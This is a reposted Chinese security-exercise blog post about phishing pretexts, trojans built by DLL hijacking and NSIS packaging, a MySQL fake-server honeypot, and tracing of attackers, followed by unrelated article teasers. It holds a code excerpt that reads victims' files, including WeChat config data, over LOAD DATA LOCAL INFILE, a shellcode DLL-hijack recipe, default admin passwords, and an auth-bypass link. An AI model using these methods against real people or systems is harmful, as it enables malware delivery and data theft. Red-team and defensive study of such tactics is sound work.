攻防千层饼

近年来，网络安全领域正在经历一场不断升级的攻防对抗，这场攻防已经不再局限于传统的攻击与防御模式，攻击者和防守者都已经越发熟练，对于传统攻防手法了如指掌。

在这个背景下，攻击者必须不断寻求创新的途径，以突破外部网络目标的坚固防护体系，利用零日漏洞、社会工程学手法、供应链攻击、投毒攻击，或者更加隐秘的攻击向量，以规避传统的检测与响应机制。防守方也不再仅仅依赖于传统的防御策略，如IP封锁或简单的入侵检测，已经转向主动防御甚至主动进攻，采取主动情报收集、分析与分享，实时威胁情报监测、云安全服务、容器化防护等安全防护，以应对不断进化的威胁。更加激进的防守方会选择积极主动的策略，对攻击者发起反制攻击，拿下权限获取情报（更多的是被逼的，谁不想躺两周呢）。

本文将探讨这些非常规的攻击与防御手段。

钓鱼

在网络攻防中，社会工程学攻击（如钓鱼）是一种常见的攻击手段。攻击者利用人们的心理和行为特点，通过欺骗、伪装等手段获取敏感信息或实施其他恶意活动。

钓鱼攻击

目前钓鱼的形式多种多样，有常规钓鱼手段通过邮箱、微信等IM工具钓鱼，也有供应链官方升级文件投毒，代码投毒。

求职招聘

攻击者伪装求职平台的求职者，联系HR私加微信。经常聊天降低风险意识，并套话使用的什么终端设别，发送伪装成求职简历的木马文件名，HR运行上线。

或者伪装HR联系求职者

图片

投毒

在github，公众号等地方投毒

图片


供应链投毒

图片

社会工程学

通过在社交平台寻找疑似工作人员（重点关注微博抖音快手小红书），然后通过OSINT定制化钓鱼攻击，博取对方信任，然后投放木马

图片

仿冒IT运维人员

以密码过期、系统升级等理由，要求打开链接输入账号密码或者下载恶意附件

图片

图片

图片

补贴

图片

吃瓜

通过捏造吃瓜事件，吸引受害者点击恶意文件，在攻防时慎用此方式钓鱼，可能会被警告（21年某象）

图片

图片

图片

图片

反钓鱼攻击

可以在经过网络隔离的环境中模拟被钓鱼人员，运行攻击者的木马程序，同时准备一些模拟的敏感文件，例如VPN账号和密码、运维手册等等。这样，当攻击者尝试下载和运行这个木马程序时，可以对其进行反制。

DLL劫持制作木马

合法程序在运行的时候需要加载合法的dll，使用恶意的dll通过函数调用劫持合法dll，达到运行合法程序加载恶意dll的效果

使用拿破轮胎大佬的工具（工具下载网盘：链接https://pan.baidu.com/s/1w8T5vgfGnIBU2Gkpq1kogQ

提取码：c29j）可以直接自动化劫持dll。

使用CS或者MSF的shellcode生成dll文件，这时文件目录会自动生成conf.inf文件和wwwcomw.dll文件,然后选择生成的wwwcomw.dll文件和要劫持的exe文件，即可生成被劫持的恶意程序。

图片

将conf.inf文件和wwwcomw.dll文件放入到和劫持的文件同一目录，点击运行即可执行shellcode

图片

NSIS制作安装包

使用nsis可以将上述多个文件打包成一个安装包，并可伪装成任意软件。软件下载地址：https://www.pc6.com/softview/SoftView_14342.html 软件使用教程：https://www.cnblogs.com/modou/p/3573772.html

图片

mysql蜜罐

21年国家HW时，某知名社区官方账号就曾使用该方法进行钓鱼，在一篇分析投毒代码中留下Mysql蜜罐的账号密码，吸引好事者登录mysql蜜罐，窃取敏感信息。

图片

LOAD DATA LOCAL INFILE

LOAD DATA LOCAL INFILE 是 MySQL 中用于将数据从本地文件加载到数据库表中的命令。这个命令允许用户通过指定本地文件的路径将数据导入到数据库表中。

读取服务端上的文件内容存入表中：

load data infile "文件" into table "表名" fields terminated by '分隔符';

读取客户端上的文件内容存入表中：

load data local infile "文件" into table "表名" fields terminated by '分隔符';

查看LOAD DATA LOCAL INFILE 功能开关状态

show global variables like 'local_infile';

图片


将LOAD DATA LOCAL INFILE 功能打开

set global local_infile=1;

蜜罐

利用代码伪造连接信息

图片


尝试读取文件信息

 if 'SET NAMES utf8' in res4:conn.sendall("\x07\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00")res5 = conn.recv(9999)if 'SET character_set_results=NULL' in res5:conn.sendall("\x07\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00")conn.close()else:conn.close()else:conn.close()else:conn.close()else:try:wantfile = chr(len(filename) + 1) + "\x00\x00\x01\xFB" + filenameconn.sendall(wantfile)content = conn.recv(99999999)# print(len(content))conn.close()if len(content) > 4:if 'PFRO' in filename:with open(logpath + "/PFRO.log", "w") as f:f.write(content)f.close()return Trueelse:with open(logpath + "/" + filename.replace("/", "_").replace(":", ""), "w") as f:f.write(content)f.close()return Trueelse:return Falseexcept Exception as e:print (e)except Exception as e:print (e)def run():port = 3306sv = socket.socket()sv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)sv.bind(("",port))sv.listen(100)while True:conn, address = sv.accept()logpath = os.path.abspath('.') + "/log/" + address[0] + '/PFRO.log'if os.path.exists(logpath):with open(logpath, 'r')as f:content = f.read()f.close()content = content.replace('\n','').replace('\r','').replace(' ','').replace('\t','').replace('\00','')try:res = re.findall(r'Users\\(.*)\\', content)[0]username = res.split('\\')[0]line = 'C:/Users/' + username + '/Documents/WeChat Files/All Users/config/config.data'              if not os.path.exists(os.path.abspath('.') + "/log/" + address[0]+'/'+line.replace("/", "_").replace(":", "")):res = mysql_get_file_content(line,conn,address)if res:print ("Read Success! ---> " + line)else:print ("Not Found~ ---> " + line)else:conn.close()except Exception as e:print(e)else:line = 'C:/Windows/PFRO.log'res = mysql_get_file_content(line,conn,address)if res:print ("Read Success! ---> " + line)else:print ("Not Found~ ---> " + line)

项目地址：https://github.com/fnmsd/MySQL_Fake_Server

溯源反制

溯源

钓鱼邮件溯源

从邮件头入手，通常会包括"Received"字段，其中包含有关邮件传输的信息，如发件服务器的IP地址，对IP地址进行反查溯源。

图片

对邮箱账号进行溯源如“@qq.com”、“@gmail.com”等此类字符串，搜索账号等，如果使用的是私有域名邮箱，可以从这方面入手，有次就碰见EwoMail邮箱管理后台一般为8010端口使用了默认口令admin/ewomail123。

图片

邮件中可能包含域名链接或者后门木马也可进行溯源。

后门木马溯源

后门木马类型可能包括LNK、EXE、DOCX等。DOCX文件可能包含“最后编辑者名称”，EXE文件中可能包含PDB信息，尤其是在开发人员将项目存放在桌面时，这可能会导致编译信息与开发人员的终端名称相关联，LNK文件在创建时可能会捕获计算机名称。对回连 C2IP溯源。

NPS

未授权访问

当使用默认配置未配置auth_key参数时，可以利用时间戳直接伪造管理员token的漏洞。脚本利用：https://github.com/0xf4n9x/NPS-AUTH-BYPASS

默认密码

nps的默认账号密码为admin/123

图片

灯塔

默认密码

灯塔的默认账号密码为admin/arlpass

反溯源

NPS

故意留下未授权访问漏洞，或者易被猜解漏洞，如HW@2023，客户端内留下网络隔离环境的代理，同反钓鱼攻击。

灯塔

在一次攻防时，对攻击IP进行测绘，发现灯塔资产，使用未授权访问直接进入后台，发现大量shell。

图片


还好当时留了个心眼儿，用沙箱跑了一下，发现全是木马，也是学到了一波。

图片

原文地址：https://forum.butian.net/share/2454

                                       没看够？欢迎关注

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.rhkb.cn/news/159750.html

如若内容造成侵权/违法违规/事实不符，请联系长河编程网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

Hadoop问题：start-all.sh显示未找到命令

Hadoop问题：start-all.sh显示未找到命令

在sbin文件夹下是start-all.sh可以运行的，但是到了别的文件夹下就不行了，于是想到了是文件路径问题，因为hadoop环境是和java环境一起配置的导致sbin写成了bin 解决办法： 打开.bashrc配置hadoop的环境变量 sudo vim ~/.bashrc …
阅读更多...
Photoshop Lightroom 2024 (Lr2024)最新安装特别版

Photoshop Lightroom 2024 (Lr2024)最新安装特别版

Adobe Photoshop Lightroom 2024是一款由Adobe Systems公司发布的软件，其英文直译为“明室”，也常被称为数码暗房。它主要用于图片管理和后期润色，包括图片导入、整理、编辑、导出等全过程，不仅可以对图片进行编辑，还可…
阅读更多...
Qt不能安装自己想要的版本，如Qt 5.15.2

Qt不能安装自己想要的版本，如Qt 5.15.2

使用在线安装工具安装Qt5.15.2时，发现没有Qt 5的相关版本，只有Qt 6的版本，这时选择右边的Archive，再点击筛选，这时就会出现之前的Qt版本。
阅读更多...
web 性能优化详解（Lighthouse工具、优化方式、强缓存和协商缓存、代码优化、算法优化）

web 性能优化详解（Lighthouse工具、优化方式、强缓存和协商缓存、代码优化、算法优化）

1.性能优化包含的方面 优化性能概念宽泛，可以从信号、系统、计算机原理、操作系统、网络通信、DNS解析、负载均衡、页面渲染。只要结合一个实际例子讲述清楚即可。 2.什么是性能？ Web 性能是客观的衡量标准，是用户对加载时间和运行时的直观…
阅读更多...
创建React Native的第一个hello world工程

创建React Native的第一个hello world工程

创建React Native的第一个hello world工程 需要安装好node、npm环境 如果之前没有安装过react-native-cli脚手架的，可以按照下述步骤直接安装。如果已经安装过的，但是在使用这个脚手架初始化工程的时候遇到下述报错的话 cli.init(root, projectname);…
阅读更多...
机器学习 Q-Learning

机器学习 Q-Learning

对马尔可夫奖励的理解 看的这个教程 公式：V(s) R(s) γ * V(s’) V(s) 代表当前状态 s 的价值。 R(s) 代表从状态 s 到下一个状态 s’ 执行某个动作后所获得的即时奖励。 γ 是折扣因子，它表示未来奖励的重要性，通常取值在 0 到 1 之间。…
阅读更多...
【音视频|ALSA】SS528开发板编译Linux内核ALSA驱动、移植alsa-lib、采集与播放usb耳机声音

【音视频|ALSA】SS528开发板编译Linux内核ALSA驱动、移植alsa-lib、采集与播放usb耳机声音

😁博客主页😁：🚀https://blog.csdn.net/wkd_007🚀 🤑博客内容🤑：🍭嵌入式开发、Linux、C语言、C、数据结构、音视频🍭 🤣本文内容🤣&a…
阅读更多...
SVN报错fail to run the WC Db work queue associated with，清理失败，乱码的解决方式

SVN报错fail to run the WC Db work queue associated with，清理失败，乱码的解决方式

替换掉 wc.db 文件即可 SVN报错fail to run the WC Db work queue associated with，清理失败，乱码的解决方式_svn failed to run the wc db-CSDN博客
阅读更多...
华为云云耀云服务器L实例评测｜企业项目最佳实践之评测用例(五)

华为云云耀云服务器L实例评测｜企业项目最佳实践之评测用例(五)

华为云云耀云服务器L实例评测｜企业项目最佳实践系列： 华为云云耀云服务器L实例评测｜企业项目最佳实践之云服务器介绍(一) 华为云云耀云服务器L实例评测｜企业项目最佳实践之华为云介绍(二) 华为云云耀云服务器L实例评测&#xff5…
阅读更多...
数据在内存中的存储（2）

数据在内存中的存储（2）

文章目录 3. 浮点型在内存中的存储3.1 一个例子3.2 浮点数存储规则 3. 浮点型在内存中的存储 常见的浮点数： 3.14159 1E10 ------ 1.0 * 10^10 浮点数家族包括： float、double、long double 类型 浮点数表示的范围：float.h中定义 3.1 一个例…
阅读更多...
基于yolov2深度学习网络的猫脸检测识别matlab仿真

基于yolov2深度学习网络的猫脸检测识别matlab仿真

目录 1.算法运行效果图预览 2.算法运行软件版本 3.部分核心程序 4.算法理论概述 5.算法完整程序工程 1.算法运行效果图预览 2.算法运行软件版本 matlab2022a 3.部分核心程序 load yolov2.mat% 加载训练好的目标检测器 img_size [224,224]; imgPath test/; % 图…
阅读更多...
【Rust基础①】基本类型、所有权与借用、复合类型

【Rust基础①】基本类型、所有权与借用、复合类型

文章目录 1 基本类型1.1 数值类型1.1.1 Rust 中的内置的整数类型：1.1.2 浮点类型1.1.3 数学运算1.1.4 位运算1.1.5 序列(Range) 1.2 字符、布尔、单元类型1.3 语句和表达式1.4 函数 2 所有权与借用2.1 栈(Stack)与堆(Heap)2.2 所有权原则2.2.1 转移所有权2.2.2 克隆…
阅读更多...
UI自动化的适用场景，怎么做？

UI自动化的适用场景，怎么做？

经常有人会问，什么样的项目才适合进行UI自动化测试呢？UI自动化测试相当于模拟手工测试，通过程序去操作页面上的控件。而在实际测试过程中，经常会遇到无法找到控件，或者因控件定义变更而带来的维护成本等问题。 哪些场…
阅读更多...
Java武侠文字游戏

Java武侠文字游戏

import java.util.Random;public class Role {//姓名private String name;//血量private int blood;//性别private char gender;//长相(随机)private String face;String[] boyfaces {"风流俊雅", "气宇轩昂", "相貌英俊", "五官端正"…
阅读更多...
巴以冲突中暴露的摄像头正对安全构成威胁

巴以冲突中暴露的摄像头正对安全构成威胁

巴以冲突爆发后，许多配置不当的安全摄像头正暴露给黑客活动分子，使其周遭人员面临巨大安全风险。 Cyber​​news 研究人员发现，在以色列至少有165 个暴露的联网 RTSP 摄像头，在巴勒斯坦有 29 个暴露的 RTSP 摄像头。在巴勒斯坦&am…
阅读更多...
华为eNSP配置专题-VLAN和DHCP的配置

华为eNSP配置专题-VLAN和DHCP的配置

文章目录 华为eNSP配置专题-VLAN和DHCP的配置1、前置环境1.1、宿主机1.2、eNSP模拟器 2、基本环境搭建2.1、基本终端构成和连接 3、VLAN的配置3.1、两台PC先配置静态IP3.2、交换机上配置VLAN 4、接口方式的DHCP的配置4.1、在交换机上开启DHCP4.2、在PC上开启DHCP 5、全局方式的…
阅读更多...
【MySQL】深入了解索引的底层逻辑结构

【MySQL】深入了解索引的底层逻辑结构

文章目录 主键排序一. InnoDB的索引结构1. 单个page2. 多个page 二. 为什么选择B树三. 聚簇索引和非聚簇索引结束语 主键排序 我们创建一个user表，并乱序插入数据 mysql> create table if not exists user(-> id int primary key,-> age int not null,-&…
阅读更多...
嵌入式SoC降低能够有效降低电力线表应用的成本

嵌入式SoC降低能够有效降低电力线表应用的成本

用于基于FSK的电力线通信（PLC）。MB87S2090和MB87S2090-F与ADD Semiconductor，电力线通信嵌入式SoC的开发商以及用于自动仪表管理的解决方案联合开发。两种器件都与ADD Semiconductor的设计引脚兼容。 MB87S2090是一种电力线通信嵌入式SoC&am…
阅读更多...
centos7部署Nginx和RabbitMQ

centos7部署Nginx和RabbitMQ

文章目录 Nginx安装部署【简单】简介安装 RabbitMQ安装部署【简单】简介安装 Nginx安装部署【简单】 简介 Nginx (engine x) 是一个高性能的HTTP和反向代理web服务器，同时也提供了IMAP/POP3/SMTP服务。Nginx可以托管用户编写的WEB应用程序成为可访问的网页服务&am…
阅读更多...
从零到一完成Midway.js登录、注册、鉴权功能

从零到一完成Midway.js登录、注册、鉴权功能

您好，如果喜欢我的文章，可以关注我的公众号「量子前端」，将不定期关注推送前端好文~ 前言 本文将从项目搭建到实现从零到一开发一个登录、注册、鉴权的简易版注册登录系统，主要功能和技术选型如下： 服务端框架———…
阅读更多...
最新文章
推荐文章

Copyright @ 2022~2023